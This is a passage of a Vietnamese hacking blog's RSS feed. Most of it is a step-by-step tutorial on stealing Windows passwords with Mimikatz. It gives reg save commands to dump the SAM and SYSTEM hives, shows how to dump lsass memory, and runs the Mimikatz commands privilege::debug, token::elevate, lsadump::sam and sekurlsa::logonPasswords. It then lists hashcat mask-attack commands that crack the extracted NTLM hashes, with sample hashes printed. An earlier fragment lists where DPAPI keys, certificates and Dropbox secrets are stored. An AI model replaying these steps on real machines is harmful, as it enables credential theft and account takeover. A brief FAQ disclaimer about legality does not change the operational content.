<li><strong>%appdata%</strong> là <strong>C:\Users&lt;USERNAME&gt;\AppData\Roaming</strong></li>
<li><strong>{sid}</strong> là user SID</li>
</ul>
<p>System master keys:</p>
<ul>
<li>c:\Windows\System32\Microsoft\Protect*</li>
</ul>
<p>Chứng chỉ user:</p>
<ul>
<li>%APPDATA%\Microsoft\SystemCertificates\My\Certificates\</li>
<li>%APPDATA%\Microsoft\Crypto\RSA&lt;SID&gt;\</li>
</ul>
<p>Chứng chỉ hệ thống:</p>
<ul>
<li>HKLM:\SOFTWARE\Microsoft\SystemCertificates\MY\Certificates*</li>
<li>C:\Programdata\Microsoft\Crypto\RSA\MachineKeys\</li>
</ul>
<p>Dropbox:</p>
<ul>
<li>HKCU\SOFTWARE\Dropbox\ks</li>
<li>HKCU\SOFTWARE\Dropbox\ks1</li>
<li>%APPDATA%\Local\Dropbox\instance1\config.dbx</li>
<li>%APPDATA%\Local\Dropbox\instance_db\instanse.dbx</li>
</ul>
<p>Rsa securid:</p>
<ul>
<li>%LOCALAPPDATA%\RSA\SecurIDStorage</li>
</ul>
<h2>Kết luận</h2>
<p>Bạn sẽ tìm thấy thêm thông tin trong tài liệu về các mô-đun và lệnh của <a href="https://github.com/gentilkiwi/mimikatz/wiki" target="_blank" rel="noopener">mimikatz. </a></p>
<h2>Câu hỏi thường gặp</h2>
<h3>Mimikatz là gì và nó hoạt động như thế nào?</h3>
<p>Mimikatz là một công cụ mạnh mẽ cho phép truy xuất mật khẩu và thông tin đăng nhập đã lưu trong hệ điều hành Windows. Nó hoạt động bằng cách khai thác các lỗ hổng bảo mật để truy cập vào bộ nhớ hệ thống và trích xuất dữ liệu nhạy cảm, bao gồm cả mật khẩu được lưu trữ bởi Credential Manager, trình duyệt web và các ứng dụng khác.</p>
<h3>DPAPI (Giao diện lập trình ứng dụng bảo vệ dữ liệu) là gì và vai trò của nó trong việc lưu trữ mật khẩu?</h3>
<p>DPAPI là một cơ chế mã hóa được tích hợp sẵn trong Windows, được sử dụng để bảo vệ dữ liệu nhạy cảm, bao gồm mật khẩu. Nó mã hóa dữ liệu bằng cách sử dụng các khóa chính được liên kết với tài khoản người dùng.  Để giải mã, cần có khóa chính tương ứng.</p>
<h3>Tôi có thể sử dụng Mimikatz để truy cập mật khẩu của người khác mà không cần sự cho phép không?</h3>
<p>Không.  Sử dụng Mimikatz để truy cập mật khẩu của người khác mà không có sự cho phép là bất hợp pháp và vi phạm đạo đức nghề nghiệp. Công cụ này chỉ nên được sử dụng cho mục đích nghiên cứu bảo mật hoặc với sự cho phép của chủ sở hữu hệ thống.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/cach-hack-password-windows-da-luu-bang-mimikatz-va-dapa/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Hack Password Windows bằng cách xuất dữ liệu từ RAM với Mimikatz</title>
		<link>https://anonyviet.com/hack-password-windows-bang-mimikatz/</link>
					<comments>https://anonyviet.com/hack-password-windows-bang-mimikatz/#comments</comments>
		
		<dc:creator><![CDATA[Ellyx13]]></dc:creator>
		<pubDate>Tue, 22 Dec 2020 02:47:13 +0000</pubDate>
				<category><![CDATA[Basic Hacking]]></category>
		<category><![CDATA[hack pass]]></category>
		<category><![CDATA[hack password]]></category>
		<category><![CDATA[hack password windows]]></category>
		<category><![CDATA[Mimikatz]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[password windows]]></category>
		<category><![CDATA[ram]]></category>
		<category><![CDATA[sam]]></category>
		<category><![CDATA[trích xuất RAM]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=23930</guid>

					<description><![CDATA[Trong bài viết này, chúng ta sẽ tìm hiểu nơi lưu trữ mật khẩu người dùng trong Windows, và cách trích xuất dữ liệu để Hack Password Windows từ bộ nhớ RAM. Ngoài ra bạn sẽ hiểu thêm cách hack mật khẩu người dùng và tìm hiểu xem tấn công Pass the hash là gì? [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Trong bài viết này, chúng ta sẽ tìm hiểu nơi lưu trữ mật khẩu người dùng trong Windows, và cách trích xuất dữ liệu để <a href="https://anonyviet.com/6-cong-cu-hack-password-windows-tot-nhat-hien-nay/">Hack Password Windows</a> từ bộ nhớ RAM. Ngoài ra bạn sẽ hiểu thêm cách hack mật khẩu người dùng và tìm hiểu xem tấn công Pass the hash là gì?</p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2020/12/56.jpg" alt="Hack Password Windows 10" width="960" height="540" title="Hack Password Windows bằng cách xuất dữ liệu từ RAM với Mimikatz 34"></p>
<p>Không phải ai cũng sử dụng mật khẩu trên Windows &#8211; đặc biệt hiếm khi người dùng đặt mật khẩu trên máy tính ở nhà. Nhưng trong công ty hoặc khi sử dụng Windows làm máy chủ, đặt mật khẩu là điều bắt buộc. Một thuộc tính thú vị khác của mật khẩu Windows là nếu người dùng có tài khoản Microsoft trực tuyến, chuỗi băm mật khẩu vẫn được lưu trữ trên máy tính cục bộ và mật khẩu được giải mã có thể được sử dụng để đăng nhập cho cả máy tính cục bộ và các dịch vụ trực tuyến của Microsoft.</p>
<h2>Windows lưu trữ mật khẩu đăng nhập của người dùng ở đâu?</h2>
<p>Mật khẩu người dùng Windows được lưu trữ trong Windows registry có tên là SYSTEM và SAM trong các tệp:</p>
<ul>
<li><strong>C:/Windows/System32/config/SAM</strong></li>
<li><strong>C:/Windows/System32/config/SYSTEM</strong></li>
</ul>
<p>Thay vì lưu trữ mật khẩu văn bản thuần túy, Windows lưu trữ mật khẩu theo mã băm. Những hàm băm này có thể bị brute-forced một cách dễ dàng. Nhưng ngay cả khi không bị bẻ khóa, hàm băm mật khẩu Windows vẫn có thể được sử dụng để thu thập dữ liệu và thực hiện các cuộc tấn công.</p>
<h2>Cách lấy mã băm mật khẩu Windows</h2>
<h3>Dump mã băm mật khẩu trên máy tính đang chạy</h3>
<p>Trên hệ thống đang chạy, bạn sẽ khá khó khăn trong việc truy cập các tệp <strong>C:/Windows/System32/config/SAM</strong> và <strong>C:/Windows/System32/config/SYSTEM</strong>, mặc dù điều này là có thể. Để lưu bản sao của những tệp này, bạn có thể sử dụng tiện ích <strong>reg</strong>:</p>
<div class="line number1 index0 alt2"><span style="font-size: 14pt;"><code class="bash plain">reg save HKLM\SYSTEM SystemBkup.hiv</code></span></div>
<div class="line number2 index1 alt1"><span style="font-size: 14pt;"><code class="bash plain">reg save HKLM\SAM SamBkup.hiv</code></span></div>
<p>Trong một số hướng dẫn, thay vì <strong>SYSTEM</strong>, <strong>SECURITY</strong> đã được lưu &#8211; đây là một sai lầm, bạn không thể khôi phục hàm băm với <strong>SECURITY</strong>  và <strong>SAM</strong>, chúng ta chỉ cần <strong>SYSTEM</strong> và <strong>SAM</strong>!</p>
<p>Mật khẩu băm cũng được chứa trong RAM, cụ thể là trong <strong>Local Security Authority Process</strong> (lsass.exe). Quá trình này luôn được khởi chạy trong Windows và bạn có thể kết xuất nó (một bản sao của quá trình trong RAM được lưu vào đĩa dưới dạng tệp). Bạn có thể sử dụng các tiện ích khác nhau để kết xuất, bao gồm hai tiện ích chính thức bên dưới:</p>
<ul>
<li><a href="https://miloserdov.org/?goto=35311" target="_blank" rel="noopener">Procdump</a></li>
<li>Task Manager</li>
</ul>
<p>Để mở Task Manager, hãy nhấn Win + r và nhập <strong>taskmgr</strong>, sau đó nhấn ENTER. Hoặc, nhấp chuột phải vào taskbar và chọn “<strong>Task Manager</strong>”.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2020/12/48.png" alt="Hack Password Windows bằng cách xuất dữ liệu từ RAM với Mimikatz 31" width="272" height="275" title="Hack Password Windows bằng cách xuất dữ liệu từ RAM với Mimikatz 35"></p>
<p>Trong Task Manager, trong phần “<strong>Windows Processes</strong>”, nhấp chuột phải vào &#8220;<strong>Local Security Authority Process</strong>&#8220;và chọn “<strong>Create Dump File</strong>”.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2020/12/49.png" alt="Hack Password Windows bằng cách xuất dữ liệu từ RAM với Mimikatz 32" width="550" height="471" title="Hack Password Windows bằng cách xuất dữ liệu từ RAM với Mimikatz 36"></p>
<p>Tệp sẽ được lưu theo đường dẫn <strong>C:\Users\USERNAME\AppData\Local\Temp\lsass.DMP</strong>. Thay chỗ <strong>USERNAME </strong>bằng tên người dùng của bạn.</p>
<h2>Dump mã băm mật khẩu trên máy tính đã tắt</h2>
<p>Trên máy tính đã tắt, để lấy lại mật khẩu của người dùng sau này, bạn chỉ cần sao chép các tệp:</p>
<ul>
<li><strong>C:/Windows/System32/config/SAM</strong></li>
<li><strong>C:/Windows/System32/config/SYSTEM</strong></li>
</ul>
<p>Các tệp tương tự có thể được tìm thấy trong bản sao lưu Windows hoặc trong bản sao Shadow của đĩa hoặc bạn có thể sao chép nó bằng cách khởi động từ USB Live.</p>
<h2>Sự khác biệt giữa hàm băm NTLM và NTLMv1/v2 và Net-NTLMv1/v2</h2>
<p>Trên thực tế, NTLM và NTLMv1/v2 là những thứ khá khác nhau. Hàm băm NTLM được lưu trữ và sử dụng cục bộ và các hàm băm NTLMv1/NTLMv2 được sử dụng để xác thực mạng và được lấy từ hàm băm NTLM. Sử dụng bất kỳ hàm băm nào trên đây, bạn cũng có thể giải mã mật khẩu người dùng Windows, nhưng đây là các thuật toán mã hóa/bẻ khóa khác nhau.</p>
<p>Đối với Pass-the-hash, mình chỉ sử dụng hàm băm NTLM vì các hàm băm NTLMv1 / NTLMv2 không phù hợp.</p>
<p>Có một câu hỏi nữa là băm Net-NTLMv1 / v2 là gì. Hàm băm Net-NTLMv1/v2 là tên viết tắt của hàm băm NTLMv1/v2, tức là NTLMv1/v2 và Net-NTLMv1/v2 giống nhau. Còn NTLM thì khác.</p>
<p>Trong bài viết này, mình sẽ giải nén, bẻ khóa và khai thác mà không cần brute-force hàm băm <strong>NTLM</strong>.</p>
<h2>Mimikatz là gì?</h2>
<p>Mimikatz nổi tiếng với khả năng trích xuất mật khẩu ở dạng văn bản thuần túy (plain text), mã băm, mã PIN và kerberos từ RAM. Mimikatz cũng có thể thực hiện các cuộc tấn công pass-the-hash, pass-the-ticket hoặc xây dựng Golden tickets.</p>
<p>Đây là những cách triển khai mimikatz trong Meterpreter &amp; Metasploit, phản chiếu DLL trong PowerShell. Mimikatz có thể chạy trong Wine trên Linux, nhưng các chức năng liên quan đến trích xuất dữ liệu trực tiếp từ Windows sẽ không hoạt động; các chức năng để giải nén hàm băm từ kết xuất hoặc giải mã từ tệp đăng ký (registry files) vẫn sẽ hoạt động trên Linux.</p>
<h2>Cách cài đặt mimikatz trên Windows</h2>
<p>Mimikatz là một tiện ích dòng lệnh di động. Tức là, bạn không cần cài đặt nó.</p>
<p>1. Truy cập trang chủ của <a href="https://github.com/gentilkiwi/mimikatz/releases" target="_blank" rel="noopener">mimikatz</a>, tải xuống tệp <strong>mimikatz_trunk.7z</strong> hoặc <strong>mimikatz_trunk.zip</strong>. Và giải nén nó.</p>
<p>2. Mở PowerShell <strong>(Win + x → Windows PowerShell (administrator))</strong> hoặc command line <strong>(Win + r → cmd)</strong>.</p>
<p>3. Tại dấu nhắc lệnh, sử dụng lệnh cd để điều hướng đến thư mục có tệp <strong>mimikatz.exe</strong>. Ví dụ: tệp lưu trữ được giải nén vào thư mục <strong>C:\Users\MiAl\Downloads</strong>, vậy thì tệp chúng ta cần tìm sẽ nằm trong thư mục <strong>C:\Users\MiAl\Downloads\mimikatz_trunk\x64\:</strong></p>
<p><span style="font-size: 14pt;"><code class="bash functions">cd</code> <code class="bash plain">C:\Users\MiAl\Downloads\mimikatz_trunk\x64\</code></span></p>
<p>4. Chạy mimikatz:</p>
<p><span style="font-size: 14pt;"><code>.\mimikatz.exe</code></span></p>
<h2>Cách giải nén hàm băm mật khẩu người dùng NTLM từ các tệp registry</h2>
<p>Các lệnh sau phải được thực hiện trong bảng điều khiển mimikatz.</p>
<p>Lệnh <strong>log</strong> cho phép ghi tất cả đầu ra vào một FILE:</p>
<p><span style="font-size: 14pt;"><code>log FILE</code></span></p>
<p>Ví dụ: để ghi tất cả đầu ra vào tệp <strong>hash.txt</strong>:</p>
<p><span style="font-size: 14pt;"><code class="bash plain">log </code><code class="bash functions">hash</code><code class="bash plain">.txt</code></span></p>
<p>Mình đã sao chép các tệp <strong>SYSTEM</strong> và <strong>SAM</strong> từ máy tính đã tắt, bây giờ để giải nén hàm băm, mình cần chạy một lệnh có dạng:</p>
<p><span style="font-size: 14pt;"><code class="bash plain">lsadump::sam </code><code class="bash plain">/system</code><code class="bash plain">:C:\...\...\SYSTEM </code><code class="bash plain">/sam</code><code class="bash plain">:C:\...\...\SAM</code></span></p>
<p>Một ví dụ về lệnh của mình:</p>
<p><span style="font-size: 14pt;"><code class="bash plain">lsadump::sam </code><code class="bash plain">/system</code><code class="bash plain">:C:\Share-Server\files\SYSTEM </code><code class="bash plain">/sam</code><code class="bash plain">:C:\Share-Server\files\SAM</code></span></p>
<p>Kết quả:</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2020/12/50.png" alt="Hack Password Windows bằng cách xuất dữ liệu từ RAM với Mimikatz 33" width="536" height="686" title="Hack Password Windows bằng cách xuất dữ liệu từ RAM với Mimikatz 37"> <img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2020/12/51.png" alt="Hack Password Windows bằng cách xuất dữ liệu từ RAM với Mimikatz 34" width="540" height="692" title="Hack Password Windows bằng cách xuất dữ liệu từ RAM với Mimikatz 38"></p>
<p>Kết quả rất nhiều dữ liệu. Nhưng thứ chúng ta cần quan tâm là các dòng tuần tự có dạng:</p>
<ul>
<li>User: USERNAME</li>
<li>Hash NTLM: HASH</li>
</ul>
<p>Trong ví dụ trên, thì các dòng này có kết quả là:</p>
<ul>
<li>User: ShareOverlord</li>
<li>Hash NTLM: 7ce21f17c0aee7fb9ceba532d0546ad6</li>
<li>User: Alexey</li>
<li>Hash NTLM: ca76a176340f0291e1cc8ea7277fc571</li>
</ul>
<p>Ngoài ra còn có các dòng chứa tên người dùng:</p>
<ul>
<li>User: MiAl</li>
<li>User: Администратор</li>
</ul>
<p>Nhưng sau không có chuỗi nào với hàm băm NTLM, bởi vì những người dùng này không có mật khẩu trong hệ thống.</p>
<p>Nếu bạn muốn trích xuất dữ liệu từ các tệp registry của hệ điều hành hiện tại, hãy thoát mimikatz, bằng cách nhấn <strong>Ctrl + C</strong>.</p>
<p>Bây giờ chúng ta sẽ kết xuất tổ hợp registry <strong>SYSTEM</strong>  và <strong>SAM</strong> của hệ thống hiện tại:</p>
<p><code>reg save HKLM\SYSTEM SystemBkup.hiv</code></p>
<p><code>reg save HKLM\SAM SamBkup.hiv</code></p>
<p>Chạy lại mimikatz:</p>
<p><code>.\mimikatz.exe</code></p>
<p>Chạy log:</p>
<p><code>log hash-local.txt</code></p>
<p>Và mình sẽ thực hiện lệnh chỉ ra các tệp mà các tổ hợp registry được lưu vào đó, đó là <strong>SystemBkup.hiv</strong> và <strong>SamBkup.hiv</strong>:</p>
<p><code>lsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv</code></p>
<p><strong>Kết quả:</strong></p>
<div>
<div>
<div><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2020/12/52.png" alt="Hack Password Windows bằng cách xuất dữ liệu từ RAM với Mimikatz 35" width="537" height="688" title="Hack Password Windows bằng cách xuất dữ liệu từ RAM với Mimikatz 39"></div>
<div></div>
<div>
<p>Chỉ một người dùng có hàm băm được tìm thấy ở đây:</p>
<p><code>User: Администратор</code></p>
<p><code>Hash NTLM: 5187b179ba87f3ad85fea3ed718e961f</code></p>
<p>Trên thực tế, để trích xuất các hàm băm NTLM từ hệ thống cục bộ, không cần thiết phải kết xuất tổ chức registry. Một tùy chọn khác là tăng các đặc quyền của chính chương trình mimikatz và trích xuất hàm băm trực tiếp từ hệ thống. Để thực hiện việc này, hãy chạy các lệnh:</p>
<p><code>privilege::debug</code><br />
<code>token::elevate</code><br />
<code>log hash-local2.txt</code><br />
<code>lsadump::sam</code></p>
<p>&nbsp;</p>
<div>
<div><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2020/12/53.png" alt="Hack Password Windows bằng cách xuất dữ liệu từ RAM với Mimikatz 36" width="866" height="688" title="Hack Password Windows bằng cách xuất dữ liệu từ RAM với Mimikatz 40"></div>
<h2>Cách giải nén hàm băm NTLM từ tệp lsass.DMP</h2>
<p>Về mặt logic trong kết xuất của Local Security Authority Process chỉ nên là hàm băm của người dùng đã đăng nhập bằng mật khẩu.</p>
<p>Đầu tiên, chỉ định đường dẫn đến tệp kết xuất bằng lệnh:</p>
<p><span style="font-size: 14pt;"><code>sekurlsa::minidump C:\path\to\lsass.DMP</code></span></p>
<p>Ví dụ:</p>
<p><span style="font-size: 14pt;"><code>sekurlsa::minidump C:\Share-Server\files\lsass.DMP</code></span></p>
<p>Sau đó chạy lệnh:</p>
<p><span style="font-size: 14pt;"><code>sekurlsa::logonPasswords</code></span></p>
<h2>Cách Hack Password Windows bằng brute-force NTLM</h2>
</div>
</div>
</div>
<div>
<p>Để thực hiện, mình sẽ sử dụng hàm băm sau:</p>
<ul>
<li><code>User : Alexey</code></li>
<li><code>Hash NTLM: ca76a176340f0291e1cc8ea7277fc571</code></li>
</ul>
<p>Hãy xem phần trợ giúp của <a href="https://miloserdov.org/?goto=7" target="_blank" rel="noopener">Hashcat</a> để tìm ra số chế độ băm NTLM:</p>
<p><code>1000 | NTLM                                             | Operating Systems</code></p>
<p>Số băm NTLM là 1000 (chế độ băm).</p>
<p>Để khởi chạy một cuộc tấn công để bẻ khóa NTLM trong Hashcat, bạn cần chạy một lệnh có dạng:</p>
<p><code>hashcat -m 1000 -a 3 'HASH'MASK</code></p>
<p>Ví dụ:</p>
<p><code>hashcat --force --hwmon-temp-abort=100 -m 1000 -D 1,2 -a 3 -i --increment-min 1 --increment-max 10 -1 ?l?d ca76a176340f0291e1cc8ea7277fc571 ?1?1?1?1?1?1?1?1?1</code></p>
<p><a href="https://anonyviet.com/wp-content/uploads/2020/12/54.png"><img decoding="async" class="aligncenter size-full " src="https://anonyviet.com/wp-content/uploads/2020/12/54.png" alt="Hack Password Windows bằng cách xuất dữ liệu từ RAM với Mimikatz 37" width="583" height="345" title="Hack Password Windows bằng cách xuất dữ liệu từ RAM với Mimikatz 41"></a></p>
<p>Giải thích lệnh:</p>
<ul>
<li><strong>hashcat</strong> là tên của tệp thực thi. Trên Windows, nó có thể <strong>hashcat64.exe</strong>.</li>
<li><strong>&#8211;force</strong> có nghĩa là bỏ qua các cảnh báo</li>
<li><strong>&#8211;hwmon-temp-abort=100</strong> có nghĩa là thiết lập nhiệt độ tối đa, sau đó quá trình brute-force sẽ bị gián đoạn, khi nhiệt độ máy chạm mức 100 độ C</li>
<li><strong>-m 1000 </strong>nghĩa là kiểu băm NTLM</li>
<li><strong>-D 1,2</strong> có nghĩa là sử dụng cả cpu và gpu cho brute-force</li>
<li><strong>-a 3</strong> nghĩa là mask attack</li>
<li><strong>-i</strong> có nghĩa là tăng dần số lượng ký tự trong mật khẩu đã tạo</li>
<li><strong>&#8211;increment-min 1</strong> có nghĩa là bắt đầu với chiều dài mask bằng một</li>
<li><strong>&#8211;increment-max 10</strong> nghĩa là kết thúc tìm kiếm với độ dài mask là mười</li>
<li><strong>-1 ?l?d</strong> có nghĩa là bộ ký tự tùy chỉnh số 1, nó bao gồm các chữ cái Latinh nhỏ (?l) và số (?d)</li>
<li><strong>ca76a176340f0291e1cc8ea7277fc571</strong> là mã băm để hack</li>
<li><strong>?1?1?1?1?1?1?1?1?1</strong> là một mask từ một bộ ký tự tùy chỉnh</li>
</ul>
<p>Hãy giải mã thêm một hàm băm nữa:</p>
<p><code>User : Администратор</code></p>
<p><code>Hash NTLM: 5187b179ba87f3ad85fea3ed718e961f</code></p>
<p>Bạn cũng dùng lệnh dưới đây:</p>
<p><code>hashcat --force --hwmon-temp-abort=100 -m 1000 -D 1,2 -a 3 -i --increment-min 1 --increment-max 10 -1 ?l?u?d 5187b179ba87f3ad85fea3ed718e961f ?1?1?1?1?1?1?1?1?1</code></p>
<p><a href="https://anonyviet.com/wp-content/uploads/2020/12/55.png"><img decoding="async" class="aligncenter size-full " src="https://anonyviet.com/wp-content/uploads/2020/12/55.png" alt="Hack Password Windows bằng cách xuất dữ liệu từ RAM với Mimikatz 38" width="572" height="391" title="Hack Password Windows bằng cách xuất dữ liệu từ RAM với Mimikatz 42"></a></p>
<p>Vậy là xong rồi đó.</p>
<p>&nbsp;</p>
</div>
</div>
<h2>Câu hỏi thường gặp</h2>
<h3>Mimikatz là gì và nó hoạt động như thế nào?</h3>
<p>Mimikatz là một công cụ mạnh mẽ có khả năng trích xuất mật khẩu, mã băm, và các thông tin xác thực khác từ bộ nhớ RAM của hệ thống Windows. Nó hoạt động bằng cách truy cập vào quá trình lsass.exe, nơi lưu trữ các thông tin nhạy cảm này.</p>
<h3>Tôi có thể lấy mật khẩu Windows từ một máy tính đã tắt không?</h3>
<p>Có, bạn có thể lấy được mã băm mật khẩu từ các tập tin SAM và SYSTEM trong thư mục C:\Windows\System32\config\.  Tuy nhiên, bạn cần truy cập vật lý vào máy tính hoặc sử dụng một bản sao lưu hệ thống.</p>
<h3>Sự khác biệt giữa các loại mã băm NTLM là gì?</h3>
<p>NTLM, NTLMv1/v2 và Net-NTLMv1/v2 là các loại mã băm khác nhau được sử dụng trong Windows.  NTLM được sử dụng cục bộ, trong khi NTLMv1/v2 và Net-NTLMv1/v2 được dùng cho xác thực mạng.  Pass-the-hash thường sử dụng mã băm NTLM.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/hack-password-windows-bang-mimikatz/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
	</channel>
</rss>
